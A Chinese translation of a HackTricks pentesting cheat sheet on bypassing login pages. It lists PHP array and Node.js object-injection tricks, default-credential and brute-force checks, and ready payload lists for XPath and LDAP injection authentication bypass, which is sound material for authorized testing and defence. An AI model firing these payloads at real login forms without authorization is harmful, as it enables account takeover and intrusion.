登录绕过

Reading time: 5 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

绕过常规登录

如果你发现了一个登录页面,这里有一些可以尝试绕过它的技术:

  • 检查页面内的 评论(向下滚动并向右?)
  • 检查是否可以 直接访问受限页面
  • 检查 不发送参数(不发送任何或仅发送1个)
  • 检查 PHP 比较错误: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
  • 将内容类型更改为 json 并发送 json 值(包括布尔值 true)
  • 如果你收到一条说 POST 不被支持的响应,你可以尝试以 GET 请求发送 JSON 到主体,并设置 Content-Type: application/json
  • 检查 nodejs 潜在的解析错误(阅读 这个): password[password]=1
  • Nodejs 会将该有效负载转换为类似以下的查询: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; 这使得密码位始终为真。
  • 如果你可以发送 JSON 对象,你可以发送 "password":{"password": 1} 来绕过登录。
  • 记住,要绕过此登录,你仍然需要 知道并发送有效的用户名
  • 在调用 mysql.createConnection 时添加 "stringifyObjects":true 选项将最终 阻止在参数中传递 Object 时的所有意外行为
  • 检查凭据:
  • 默认凭据 的技术/平台
  • 常见组合(root, admin, password, 技术名称, 默认用户与这些密码之一)。
  • 使用 Cewl 创建字典,添加 默认用户名和密码(如果有的话),并尝试使用所有单词作为 用户名和密码 进行暴力破解
  • 暴力破解 使用更大的 字典 (暴力破解)

SQL 注入认证绕过

这里你可以找到几种通过 SQL 注入 绕过登录的技巧

在以下页面中,你可以找到一个 自定义列表以尝试通过 SQL 注入绕过登录

Login bypass List

无 SQL 注入认证绕过

这里你可以找到几种通过 无 SQL 注入 绕过登录的技巧

由于无 SQL 注入需要更改参数值,你需要手动测试它们。

XPath 注入认证绕过

这里你可以找到几种通过 XPath 注入 绕过登录的技巧

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP 注入认证绕过

在这里您可以找到几种通过 LDAP 注入 绕过登录的技巧。

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

记住我

如果页面有“记住我”功能,请检查其实现方式,并查看您是否可以利用它来接管其他账户

重定向

页面通常在登录后会重定向用户,请检查您是否可以更改该重定向以导致开放重定向。如果您将用户重定向到您的网站,您可能会窃取一些信息(代码、cookie...)。

其他检查

  • 检查您是否可以通过登录功能枚举用户名
  • 检查密码/敏感信息表单自动完成是否处于活动状态:<input autocomplete="false">

自动工具

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks